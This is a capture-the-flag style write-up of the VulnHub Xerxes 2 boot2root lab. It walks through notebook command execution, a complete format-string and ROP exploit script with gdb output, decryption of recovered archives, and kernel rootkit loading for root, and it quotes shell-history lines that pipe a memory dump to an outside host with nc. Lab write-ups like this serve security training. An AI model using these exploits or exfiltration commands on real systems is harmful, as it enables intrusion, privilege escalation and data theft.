Xerxes 2 Hacking Challenge
Another month, another hacking challenge! This time it’s Xerxes 2 by barrebas. This boot2root promised some challenges and it definitely delivered. Xerxes 1 was a lot of fun, and when Xerxes 2 was announced, I was looking forward to getting my hands dirty. As with other boot2roots, you can download a copy of Xerxes 2 at VulnHub
It occurred to me that I never wrote a writeup for Xerxes 1 after I completed it. I can’t imagine why, but it’s something that I’ll have to do in the near future. For Xerxes 2 however, an incentive was given to complete a writeup:
#xerxes2 stickers arrived! Grab #xerxes2 from http://vulnhub.com , root it, write it up & I’ll send you stickers!
Stickers?! Oh yeah!
Like other medium difficulty boot2roots these days, Xerxes 2 consists of multiple challenges that need to be overcome before you are able to complete it. The goal is to read the contents of /root/flag.txt.
Level 1: Delacroix
Using netdiscover I identifed the Xerxes 2 IP address as 172.16.229.155. A quick port scan with onetwopunch.sh revealed several open ports.
root@kali ~/xerxes2
# echo 172.16.229.155 > ip.txt
root@kali ~/xerxes2
# onetwopunch.sh ip.txt tcp
[+] scanning 172.16.229.155 for tcp ports...
[+] obtaining all open TCP ports using unicornscan...
[+] unicornscan -msf 172.16.229.155:a -l udir/172.16.229.155-tcp.txt
[+] ports for nmap to scan: 22,80,111,4444,8888,57916,
[+] nmap -sV -oX ndir/172.16.229.155-tcp.xml -oG ndir/172.16.229.155-tcp.grep -p 22,80,111,4444,8888,57916, 172.16.229.155
Starting Nmap 6.46 ( http://nmap.org ) at 2014-08-08 15:53 EDT
Nmap scan report for 172.16.229.155
Host is up (0.00029s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 6.0p1 Debian 4+deb7u2 (protocol 2.0)
80/tcp open http lighttpd 1.4.31
111/tcp open rpcbind 2-4 (RPC #100000)
4444/tcp open krb524?
8888/tcp open http Tornado httpd 2.3
57916/tcp open status 1 (RPC #100024)
.
.
.
As it turned out, most of these ports were red herrings with the exception of port 8888. Running on port 8888 was actually an IPython Notebook.
From here I identified the first user, delacroix. Nothing much to see on this page so I clicked on New Notebook which took me to another webpage where I could enter my commands if I prefixed them with an exclamation point.
To get a proper shell, I wrote my SSH key into delacroix’s .ssh/authorized_keys file and made sure the permissions were set correctly.
Once that was set, I logged into the server as delacroix.
root@kali ~/xerxes2
# ssh [email protected]
Welcome to xerxes2.
XERXES wishes you
a pleasant stay.
____ ___ ____ ___ __ ____ ___ ____ ____ ____
`MM( )P' 6MMMMb `MM 6MM `MM( )P' 6MMMMb 6MMMMb\ 6MMMMb
`MM` ,P 6M' `Mb MM69 " `MM` ,P 6M' `Mb MM' ` MM' `Mb
`MM,P MM MM MM' `MM,P MM MM YM. ,MM
`MM. MMMMMMMM MM `MM. MMMMMMMM YMMMMb ,MM'
d`MM. MM MM d`MM. MM `Mb ,M'
d' `MM. YM d9 MM d' `MM. YM d9 L ,MM ,M'
_d_ _)MM_ YMMMM9 _MM_ _d_ _)MM_ YMMMM9 MYMMMM9 MMMMMMMM
delacroix@xerxes2:~$
A quick look around at the system revealed two more users, polito and korenchkin. There was also a program /opt/bf that was setuid and owned by user polito, and an encrypted tarball /opt/backup/korenchkin.tar.enc
delacroix’s home directory contained a C program called bf.c. After studying it for a bit, I came to the realization that this was the source code for a Brainfuck interpreter. Brainfuck is an esoteric programming language which also made a small appearance in Xerxes 1. Wikipedia has a good explanation on how it works.
I had a feeling /opt/bf might be exploitable so I spent a bit more time examining bf.c and found a format string vulnerability. printf() on line 78 was being called without specifying the format string:
case '#':
// new feature
printf(buf);
break;
This meant I could provide my own format string and overwrite some memory address somewhere and hopefully gain control of the program.
I use peda for exploit development on Linux, so I uploaded my peda directory over to delacroix’s home directory and created the following .gdbinit file:
source ~/peda/peda.py
set disable-randomization off
/proc/sys/kernel/randomize_va_space was set to 2, which meant ASLR was enabled. To make exploitation easier, I used a trick to disable the randomization of function addresses:
ulimit -s unlimited
I loaded /opt/bf into gdb and ran checksec to see what other security measures had been compiled into the binary:
delacroix@xerxes2:~$ gdb -q /opt/bf
Reading symbols from /opt/bf...(no debugging symbols found)...done.
gdb-peda$ checksec
CANARY : disabled
FORTIFY : disabled
NX : ENABLED
PIE : disabled
RELRO : disabled
gdb-peda$
NX was enabled which meant I couldn’t execute shellcode on the stack. Having gained a better idea of what I was up against, I started analyzing the program’s behavior.
I knew it had format string bug, so I sent it a format string that would print out the contents of the stack:
delacroix@xerxes2:~$ python -c 'print "AAAA" + "%p."*20' | /opt/bf `python -c 'print ",>"*100'`\#
AAAA0x40185ff4.(nil).(nil).0xbfef4448.0x400139c0.0x64.0xc8.0xbfeecf10.0x40185ff4.0xbfef4448.0x80486eb.0xbfef48be.0xbfeecf10.0x7530.(nil).0x41414141.0x252e7025.0x70252e70.0x2e70252e.0x252e7025.
�����������������������������������delacroix@xerxes2:~$
The 16th item on the stack, 0x41414141, was the start of my format string. I could replace 0x41414141 with an address of a function referenced in the Global Offset Table (GOT), and then overwrite that reference to point to instructions I wanted to execute instead.
Using objdump, I looked at what functions were in the GOT:
delacroix@xerxes2:~$ objdump -R /opt/bf
/opt/bf: file format elf32-i386
DYNAMIC RELOCATION RECORDS
OFFSET TYPE VALUE
08049a38 R_386_GLOB_DAT __gmon_start__
08049a48 R_386_JUMP_SLOT printf
08049a4c R_386_JUMP_SLOT getchar
08049a50 R_386_JUMP_SLOT __gmon_start__
08049a54 R_386_JUMP_SLOT exit
08049a58 R_386_JUMP_SLOT __libc_start_main
08049a5c R_386_JUMP_SLOT memset
08049a60 R_386_JUMP_SLOT putchar
I decided to overwite exit’s GOT reference to an instruction that would pivot me back into an area I controlled on the stack. This area would contain my ROP gadgets that would eventually setup the stack such that I could call system(“/bin/sh”).
In order to have bf read my format string from within gdb, I had to save it into a file and redirect that file into gdb’s run command.
printf '\x54\x9a\x04\x08\x55\x9a\x04\x08\x56\x9a\x04\x08-%%10c%%16$hn-%%10c%%17$hn-%%10c%%18$hn' > in
This would perform three writes into addresses 0x08049a54, 0x08049a55, and 0x08049a56, which allowed me to change it to whatever address I wanted. I tested this in gdb and confirmed that the overwrite was successful when a segmentation fault was triggered after exit() was called:
gdb-peda$ r `python -c 'print ",>"*45'`# < in
Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0x0
EBX: 0x40185ff4 --> 0x15fd7c
ECX: 0xbfd60228 --> 0x401864e0 --> 0xfbad2a84
EDX: 0x5b ('[')
ESI: 0x0
EDI: 0x0
EBP: 0xbfd677b8 --> 0xbfd67838 --> 0x0
ESP: 0xbfd6026c --> 0x80486f7 (nop)
EIP: 0x2d2217
EFLAGS: 0x210282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x2d2217
[------------------------------------stack-------------------------------------]
0000| 0xbfd6026c --> 0x80486f7 (nop)
0004| 0xbfd60270 --> 0x0
0008| 0xbfd60274 --> 0xbfd60280 --> 0x8049a54 --> 0x2d2217
0012| 0xbfd60278 --> 0x7530 ('0u')
0016| 0xbfd6027c --> 0x0
0020| 0xbfd60280 --> 0x8049a54 --> 0x2d2217
0024| 0xbfd60284 --> 0x8049a55 --> 0x80002d22
0028| 0xbfd60288 --> 0x8049a56 --> 0xcd80002d
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x002d2217 in ?? ()
gdb-peda$
exit() was now jumping to 0x2d2217, an invalid address. Now I needed to pivot back into the stack to an area I controlled. A quick look at the stack at the time of the crash showed the following:
gdb-peda$ context stack 24
[------------------------------------stack-------------------------------------]
0000| 0xbfc3b42c --> 0x80486f7 (nop)
0004| 0xbfc3b430 --> 0x0
0008| 0xbfc3b434 --> 0xbfc3b440 --> 0x8049a54 --> 0x302418
0012| 0xbfc3b438 --> 0x7530 ('0u')
0016| 0xbfc3b43c --> 0x0
0020| 0xbfc3b440 --> 0x8049a54 --> 0x302418
0024| 0xbfc3b444 --> 0x8049a55 --> 0x80003024
0028| 0xbfc3b448 --> 0x8049a56 --> 0xcd800030
0032| 0xbfc3b44c ("-%11c%16$hn-%11c%17$hn-%11c%18$hn")
0036| 0xbfc3b450 ("c%16$hn-%11c%17$hn-%11c%18$hn")
0040| 0xbfc3b454 ("$hn-%11c%17$hn-%11c%18$hn")
0044| 0xbfc3b458 ("%11c%17$hn-%11c%18$hn")
0048| 0xbfc3b45c ("%17$hn-%11c%18$hn")
0052| 0xbfc3b460 ("hn-%11c%18$hn")
0056| 0xbfc3b464 ("11c%18$hn")
0060| 0xbfc3b468 ("18$hn")
0064| 0xbfc3b46c --> 0x6e ('n')
0068| 0xbfc3b470 --> 0x0
0072| 0xbfc3b474 --> 0x0
0076| 0xbfc3b478 --> 0x0
0080| 0xbfc3b47c --> 0x0
0084| 0xbfc3b480 --> 0x0
0088| 0xbfc3b484 --> 0x0
0092| 0xbfc3b488 --> 0x0
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
The format string I input into the buffer could be found at offset 32 from the stack. That was where I needed to pivot to. Using vmmap, I identified additional libraries linked to bf that I could use for hunting gadgets:
gdb-peda$ vmmap
Start End Perm Name
0x08048000 0x08049000 r-xp /opt/bf
0x08049000 0x0804a000 rw-p /opt/bf
0x40000000 0x4001c000 r-xp /lib/i386-linux-gnu/ld-2.13.so
0x4001c000 0x4001d000 r--p /lib/i386-linux-gnu/ld-2.13.so
0x4001d000 0x4001e000 rw-p /lib/i386-linux-gnu/ld-2.13.so
0x4001e000 0x4001f000 r-xp [vdso]
0x4001f000 0x40023000 rw-p mapped
0x40026000 0x40183000 r-xp /lib/i386-linux-gnu/i686/cmov/libc-2.13.so
0x40183000 0x40184000 ---p /lib/i386-linux-gnu/i686/cmov/libc-2.13.so
0x40184000 0x40186000 r--p /lib/i386-linux-gnu/i686/cmov/libc-2.13.so
0x40186000 0x40187000 rw-p /lib/i386-linux-gnu/i686/cmov/libc-2.13.so
0x40187000 0x4018b000 rw-p mapped
0xbfc23000 0xbfc44000 rw-p [stack]
/lib/i386-linux-gnu/ld-2.13.so and /lib/i386-linux-gnu/i686/cmov/libc-2.13.so were linked to bf, so I downloaded those along with bf over to my machine. To find the gadgets, I used ropeme.
The first thing I loaded was bf and I immediately found a gadget that would remove 44 bytes from the top of the stack:
root@kali ~/xerxes2
# ropshell.py
Simple ROP interactive shell: [generate, load, search] gadgets
ROPeMe> generate bf
Generating gadgets for bf with backward depth=3
It may take few minutes depends on the depth and file size...
Processing code block 1/1
Generated 63 gadgets
Dumping asm gadgets to file: bf.ggt ...
OK
ROPeMe> search add esp %
Searching for ROP gadget: add esp % with constraints: []
0x804867eL: add esp 0x24 ; pop ebx ; pop ebp ;;
I set a breakpoint at 0x080486f2 which was the call to exit() in main(). Using a bit of math, I adjusted the field widths so that exit’s reference in the GOT would be overwritten to 0x804867e:
printf '\x54\x9a\x04\x08\x55\x9a\x04\x08\x56\x9a\x04\x08-%%113c%%16$hn-%%263c%%17$hn-%%1661c%%18$hn' > in
I ran it within gdb and once the breakpoint got triggered at the call to exit(), I stepped into the function and saw that it was now about to execute the first gadget:
Breakpoint 1, 0x080486f2 in main ()
gdb-peda$ si
[----------------------------------registers-----------------------------------]
EAX: 0x0
EBX: 0x40185ff4 --> 0x15fd7c
ECX: 0xbfe1ba28 --> 0x401864e0 --> 0xfbad2a84
EDX: 0x63 ('c')
ESI: 0x0
EDI: 0x0
EBP: 0xbfe22fb8 --> 0xbfe23038 --> 0x0
ESP: 0xbfe1ba6c --> 0x80486f7 (nop)
EIP: 0x80483c0 (<exit@plt>: jmp DWORD PTR ds:0x8049a54)
EFLAGS: 0x200282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x80483b0 <__gmon_start__@plt>: jmp DWORD PTR ds:0x8049a50
0x80483b6 <__gmon_start__@plt+6>: push 0x10
0x80483bb <__gmon_start__@plt+11>: jmp 0x8048380
=> 0x80483c0 <exit@plt>: jmp DWORD PTR ds:0x8049a54
| 0x80483c6 <exit@plt+6>: push 0x18
| 0x80483cb <exit@plt+11>: jmp 0x8048380
| 0x80483d0 <__libc_start_main@plt>: jmp DWORD PTR ds:0x8049a58
| 0x80483d6 <__libc_start_main@plt+6>: push 0x20
|-> 0x804867e <bf+402>: add esp,0x24
0x8048681 <bf+405>: pop ebx
0x8048682 <bf+406>: pop ebp
0x8048683 <bf+407>: ret
JUMP is taken
[------------------------------------stack-------------------------------------]
0000| 0xbfe1ba6c --> 0x80486f7 (nop)
0004| 0xbfe1ba70 --> 0x0
0008| 0xbfe1ba74 --> 0xbfe1ba80 --> 0x8049a54 --> 0x804867e (<bf+402>: add esp,0x24)
0012| 0xbfe1ba78 --> 0x7530 ('0u')
0016| 0xbfe1ba7c --> 0x0
0020| 0xbfe1ba80 --> 0x8049a54 --> 0x804867e (<bf+402>: add esp,0x24)
0024| 0xbfe1ba84 --> 0x8049a55 --> 0x80080486
0028| 0xbfe1ba88 --> 0x8049a56 --> 0xcd800804
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x080483c0 in exit@plt ()
Stepping through further, I executed the add and two pop instructions and examined the stack again:
[----------------------------------registers-----------------------------------]
EAX: 0x0
EBX: 0x31256333 ('3c%1')
ECX: 0xbfe1ba28 --> 0x401864e0 --> 0xfbad2a84
EDX: 0x63 ('c')
ESI: 0x0
EDI: 0x0
EBP: 0x6e682436 ('6$hn')
ESP: 0xbfe1ba98 ("-%263c%17$hn-%1661c%18$hn")
EIP: 0x8048683 (<bf+407>: ret)
EFLAGS: 0x200296 (carry PARITY ADJUST zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x804867e <bf+402>: add esp,0x24
0x8048681 <bf+405>: pop ebx
0x8048682 <bf+406>: pop ebp
=> 0x8048683 <bf+407>: ret
0x8048684 <main>: push ebp
0x8048685 <main+1>: mov ebp,esp
0x8048687 <main+3>: and esp,0xfffffff0
0x804868a <main+6>: sub esp,0x7540
[------------------------------------stack-------------------------------------]
0000| 0xbfe1ba98 ("-%263c%17$hn-%1661c%18$hn")
0004| 0xbfe1ba9c ("3c%17$hn-%1661c%18$hn")
0008| 0xbfe1baa0 ("7$hn-%1661c%18$hn")
0012| 0xbfe1baa4 ("-%1661c%18$hn")
0016| 0xbfe1baa8 ("61c%18$hn")
0020| 0xbfe1baac ("18$hn")
0024| 0xbfe1bab0 --> 0x6e ('n')
0028| 0xbfe1bab4 --> 0x0
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x08048683 in bf ()
The top of the stack contained the format string I sent to bf. The ret instruction which would be executed next would pop the value at the top of the stack into EIP and execution would be redirected there. I just needed to add in my ROP payload in this area so that when ret executed, it would redirect execution to the next gadget.
I found the majority of the gadgets I needed from libc-2.13.so. With ASLR already disabled, I looked up the addresses for system() and /bin/sh:
gdb-peda$ p system
$1 = {<text variable, no debug info>} 0x40062000 <system>
gdb-peda$ find "/bin/sh"
Searching for '/bin/sh' in: None ranges
Found 1 results, display max 1 items:
libc : 0x40161b94 ("/bin/sh")
After a couple of hours, I crafted the following ROP payload that called system(“/bin/sh”) into a Python script:
#!/usr/bin/env python
"""
disable ASLR using: ulimit -s unlimited
after this, system() can be found at 0x40062000 and /bin/sh at 0x40161b94
execute using the following to get shell:
(./sploit.py ; cat) | /opt/bf `python -c 'print ",>"*90'`\#
"""
buf = (
# overwrite GOT entry for exit() to point to 0x804867e.
# this address will execute the following instructions to pivot us into
# an area we control in the stack: add esp,0x24; pop ebx; pop ebp
# we just need to do 3 writes to overwrite the GOT entry for exit()
'\x54\x9a\x04\x08'
'\x55\x9a\x04\x08'
'\x56\x9a\x04\x08'
################### START OF ROP PAYLOAD #####################
# junk values removed by add esp,0x24; pop ebx; pop ebp
'XXXX'
'XXXX'
'XXXX'
'\xc1\x05\x10\x40' # 0x401005C1: pop eax;
# eax needs to contain the address for /bin/sh. however
# further down we have a gadget that does "adc al 0x5d"
# which will alter the value we pop into eax. therefore
# we pop a value that will become the address of /bin/sh
# *after* "adc al 0x5d" is called
'\x37\x1b\x16\x40' # 0x40161B37 popped into eax. this will turn this into
# 0x40161b94 which is the real address of /bin/sh
'\x91\xa2\x10\x40' # 0x4010A291: pop edx; pop ecx; pop ebx
# edx needs to contain the address for system(). however
# that address has a null byte, so instead of popping in
# 0x40062000 we'll pop in 0x40062001 and decrement it
# in the next gadget
'\x01\x20\x06\x40' # address of system()+1 popped into edx
'XXXX' # junk for pop ecx
'XXXX' # junk for pop ebx
'\xfa\xd4\x08\x40' # 0x4008D4FA: dec edx ; adc al 0x5d
# first instruction will decrement edx so it points to
# system()
# second instruction will alter eax so it points to /bin/sh
'\x8c\x7e\x08\x40' # 0x40087E8C: mov DWORD PTR [esp],eax; call edx
# move address of /bin/sh in eax into [esp], then
# call edx which contains address of system()
################### END OF ROP PAYLOAD #####################
'-%69c%16$hn' # overwrite first byte in exit()
'-%7c%17$hn' # overwrite second byte in exit()
'-%1917c%18$hn' # overwrite third and fourth byte in exit()
)
print buf
The comments should hopefully be pretty clear on what the payload is doing. I executed the exploit and got a shell:
delacroix@xerxes2:~$ (./sploit.py ; cat) | /opt/bf `python -c 'print ",>"*90'`\#
T�U�V�XXXXXXXXXXXX�@7@��@ @XXXXXXXX�@�@- �- -
id
uid=1002(delacroix) gid=1002(delacroix) euid=1001(polito) egid=1001(polito) groups=1001(polito),1002(delacroix)
cat was required to keep the shell from terminating too quickly. I ran the id command which confirmed I now had EUID and EGID polito.
Level 2: Polito
This shell wasn’t very usable, so as before, I added my SSH public key into polito’s .ssh/authorized_keys file so I could SSH in and get a proper shell. Once I had logged in, I noticed three interesting files in polito’s home directory:
polito@xerxes2:~$ ls -l
total 43932
-rw-r--r-- 1 polito polito 142564 Jul 16 10:57 audio.txt
-rw-r--r-- 1 polito polito 44813850 Jul 16 12:17 dump.gpg
-rw-r--r-- 1 polito polito 27591 Jul 16 12:19 polito.pdf
audio.txt was a red herring; basically some audio file piped into port 4444 that would taunt you. dump.gpg was some kind of password protected encrypted file, and polito.pdf offered some clue regarding dump.gpg
Scanning the QR code revealed yet another taunt from Xerxes.
I suspected that there was some hidden message inside the PDF. Fellow hacker recrudesce who was also working on the challenge and bouncing ideas off me thought that it might be a PDF hidden in the PDF. I remembered reading about something like that in a [PoC | GTFO](http://openwall.info/wiki/people/solar/pocorgtfo) issue. Unfortunately, I had to leave Xerxes 2 alone for a day after a busy work load and being exhausted overall. The following morning, recrudesce had solved this challenge and hinted that I should check the file type of polito.pdf, which I did: |
polito@xerxes2:~$ file polito.pdf
polito.pdf: x86 boot sector, code offset 0xe0
Now I definitely knew I’d seen something like this before. I poured through the PoC | GTFO issues and found the answer on the second page of issue 2: |
Ange Albertini explains the internal organization of this issue’s PDF in Section 8. Curious readers might want to run qemu-system-i386 -fda pocorgtfo02.pdf in order to experience all the neighbor- liness that this issue has to offer
I ran qemu-system-i386 and passed it polito.pdf as its argument and got the password for dump.gpg:
Using the password, I was able to decrypt the dump file:
polito@xerxes2:~$ gpg --passphrase amFuaWNl dump.gpg
gpg: CAST5 encrypted data
gpg: encrypted with 1 passphrase
gpg: WARNING: message was not integrity protected
polito@xerxes2:~$ ls -l
total 172960
-rw-r--r-- 1 polito polito 142564 Jul 16 10:57 audio.txt
-rw-r--r-- 1 polito polito 132120576 Aug 8 21:15 dump
-rw-r--r-- 1 polito polito 44813850 Jul 16 12:17 dump.gpg
-rw-r--r-- 1 polito polito 27591 Jul 16 12:19 polito.pdf
This was a binary file, so I examined it using strings and piped it into less. At around lines 54795-54830, I saw something interesting:
cat /home/korenchkin/.ssh/id_rsa
dd if=/dev/fmem of=/root/xerxesmem bs=1M count=128
dd if=/dev/fmem of=/root/xerxesmem bs=1M count=128
cd volatility-2.3.1/
cat xerxesmem |nc 172.16.32.1 5555
root@xerxes2:~/fmem_1.6-0#
cat Debian7.zip | nc 172.16.32.1 5555
/home/korenchkin/.ssh/id_rsa
korenchkin’s id_rsa file was being read and then the contents of /dev/fmem were being dumped into /root/xerxesmem, which was them being piped into some service running on port 5555. I suspected that service wrote the contents of xerxesmem into the dump file.
At first I searched for references to korenchkin’s id_rsa key, and I did find an RSA key in there, but it didn’t work. So then I started searching for instances of korenchkin and found something more promising:
tar -cvf /opt/backup/korenchkin.tar ~/
openssl enc -e -salt -aes-256-cbc -pass pass:c2hvZGFu -in /opt/backup/korenchkin.tar -out /opt/backup/korenchkin.tar.enc
rm /opt/backup/korenchkin.tar
The command and password used to encrypt korenchkin.tar was right there, so I simply reversed it to decrypt korenchkin.tar.enc
polito@xerxes2:~$ openssl enc -d -salt -aes-256-cbc -pass pass:c2hvZGFu -in /opt/backup/korenchkin.tar.enc -out korenchkin.tar
polito@xerxes2:~$ ls -l korenchkin.tar
-rw-r--r-- 1 polito polito 10240 Aug 8 21:33 korenchkin.tar
The decryption was successful. I unpacked the tarball and extracted korenchkin’s private and public SSH keys.
polito@xerxes2:~$ tar xvf korenchkin.tar
.ssh/id_rsa
.ssh/id_rsa.pub
I copied id_rsa over to my machine, renamed it as korenchkin_rsa, and set its permissions to read only so that SSH wouldn’t complain. With that done, I logged in as korenchkin using the following command:
# ssh -i korenchkin_rsa [email protected]
Level 3: Korenchkin
This was the last user on the system, so I assumed that from here on, the goal was to escalate to root. After a bit of poking around, I found that korenchkin had sudo rights to execute /sbin/insmod and /sbin/rmmod.
korenchkin@xerxes2:~$ sudo -l
Matching Defaults entries for korenchkin on this host:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User korenchkin may run the following commands on this host:
(root) NOPASSWD: /sbin/insmod, (root) /sbin/rmmod
You have new mail in /var/mail/korenchkin
The first thing that came to my mind was to load up a rootkit. Since I don’t deal much with rootkits, I had to Google around for a simple one and eventually settled on a sample rootkit over at https://github.com/ivyl/rootkit.
unzip didn’t seem to be available on Xerxes 2, so I unpacked the rootkit on my machine and transferred the contents to korenchkin’s home directory. From there, building it was a matter of running make:
korenchkin@xerxes2:~/rootkit-master$ make
make -C /lib/modules/3.2.0-4-686-pae/build M=/home/korenchkin/rootkit-master modules
make[1]: Entering directory `/usr/src/linux-headers-3.2.0-4-686-pae'
CC [M] /home/korenchkin/rootkit-master/rt.o
Building modules, stage 2.
MODPOST 1 modules
CC /home/korenchkin/rootkit-master/rt.mod.o
LD [M] /home/korenchkin/rootkit-master/rt.ko
make[1]: Leaving directory `/usr/src/linux-headers-3.2.0-4-686-pae'
This created the rt.ko module which I loaded into the system using sudo:
korenchkin@xerxes2:~/rootkit-master$ sudo insmod rt.ko
Finally, to get the root shell I issued the following command to the rootkit:
korenchkin@xerxes2:~/rootkit-master$ tools/rtcmd.py mypenislong /bin/bash
root@xerxes2:~/rootkit-master# id
uid=0(root) gid=0(root) groups=0(root),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),1000(korenchkin)
root@xerxes2:~/rootkit-master#
After three days of on and off hacking away at it, I was finally able to read /root/flag.txt
root@xerxes2:~/rootkit-master# cat /root/flag.txt
____ ___ ____ ___ __ ____ ___ ____ ____ ____
`MM( )P' 6MMMMb `MM 6MM `MM( )P' 6MMMMb 6MMMMb\ 6MMMMb
`MM` ,P 6M' `Mb MM69 " `MM` ,P 6M' `Mb MM' ` MM' `Mb
`MM,P MM MM MM' `MM,P MM MM YM. ,MM
`MM. MMMMMMMM MM `MM. MMMMMMMM YMMMMb ,MM'
d`MM. MM MM d`MM. MM `Mb ,M'
d' `MM. YM d9 MM d' `MM. YM d9 L ,MM ,M'
_d_ _)MM_ YMMMM9 _MM_ _d_ _)MM_ YMMMM9 MYMMMM9 MMMMMMMM
congratulations on beating xerxes2!
I hope you enjoyed it as much as I did making xerxes2.
xerxes1 has been described as 'weird' and 'left-field'
and I hope that this one fits that description too :)
Many thanks to @TheColonial & @rasta_mouse for testing!
Ping me on #vulnhub for thoughts and comments!
@barrebas, July 2014
Hooray!
Final thoughts
Xerxes 2 has the right amount of balance between frustration as you try to solve a challenge, and the reward you get when you finally do solve it. I thoroughly enjoyed it and now I know more Brainfuck then I ever cared to learn. And also stickers!